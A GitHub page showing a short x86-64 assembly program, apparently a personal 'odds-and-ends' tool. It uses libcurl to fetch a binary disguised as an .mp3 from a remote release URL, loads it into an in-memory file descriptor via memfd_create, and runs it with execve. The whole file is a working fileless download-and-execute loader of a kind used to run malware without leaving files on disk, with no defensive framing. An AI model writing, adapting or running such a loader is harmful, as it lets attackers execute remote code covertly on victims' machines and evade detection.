-
Notifications
You must be signed in to change notification settings - Fork 1
/
curltomem.asm
133 lines (103 loc) · 2.49 KB
/
curltomem.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
; linuxthor
;
; libcurl download ELF to memfd and exec it
;
; assemble with:
; nasm -f elf64 -o curlmem.o curlmem.asm
; gcc curlmem.o -no-pie -o curlmem -lcurl
;
BITS 64
extern curl_global_init, curl_easy_init, curl_easy_perform
extern curl_easy_setopt, curl_easy_cleanup, curl_global_cleanup
extern fdopen, setvbuf
%define CURL_GLOBAL_ALL 3
%define CURLOPT_URL 10002
%define CURLOPT_WRITEDATA 10001
%define CURLOPT_USERAGENT 10018
%define CURLOPT_FOLLOWLOCATION 52
%define _IONBF 2
global main
main:
push rbp
mov rbp, rsp
mov rdi, CURL_GLOBAL_ALL
xor eax, eax
call curl_global_init
call curl_easy_init
cmp rax, 0
je error
mov [curly], rax
mov rax, 319 ; memfd_create
mov rdi, mfd
mov rsi, 0
syscall
add [pfd+14], rax
mov rdi, rax
mov rsi, md
xor rax, rax
call fdopen
mov [filea], rax
mov rdi, rax
mov rsi, 0
mov rdx, _IONBF ; disable buffering
mov rcx, 0 ; else we get only first 4096
call setvbuf ; bytes
mov rdx, [filea]
mov rdi, [curly]
mov rsi, CURLOPT_WRITEDATA
xor rax, rax
call curl_easy_setopt
cmp rax, 0
jne error
mov rdi, [curly]
mov rsi, CURLOPT_URL
mov rdx, url
xor rax, rax
call curl_easy_setopt
cmp rax, 0
jne error
mov rdi, [curly]
mov rsi, CURLOPT_USERAGENT
mov rdx, ua
xor eax, eax
call curl_easy_setopt
cmp rax, 0
jne error
mov rdi, [curly]
mov rsi, CURLOPT_FOLLOWLOCATION
mov rdx, 1
xor eax, eax
call curl_easy_setopt
cmp rax, 0
jne error
mov rdi, [curly]
xor eax, eax
call curl_easy_perform
cmp rax, 0
jne error
mov rdi, [curly]
xor eax, eax
call curl_easy_cleanup
call curl_global_cleanup
mov rbp, rsp
mov rax, 59 ; sys_execve
mov rdi, pfd
mov rsi, 0
mov rdx, 0
syscall
pop rbp
xor eax, eax ; shouldn't get here
ret
error:
pop rbp
mov rax, 1
ret
section .data
url db 'https://github.com/linuxthor/odds-and-ends/releases/download/0.1/linux.mp3',0
ua db 'libcurl/asm',0
pfd db '/proc/self/fd/0',0
mfd db 'musty',0
md db 'wb',0
section .bss
curly resq 1
filea resq 1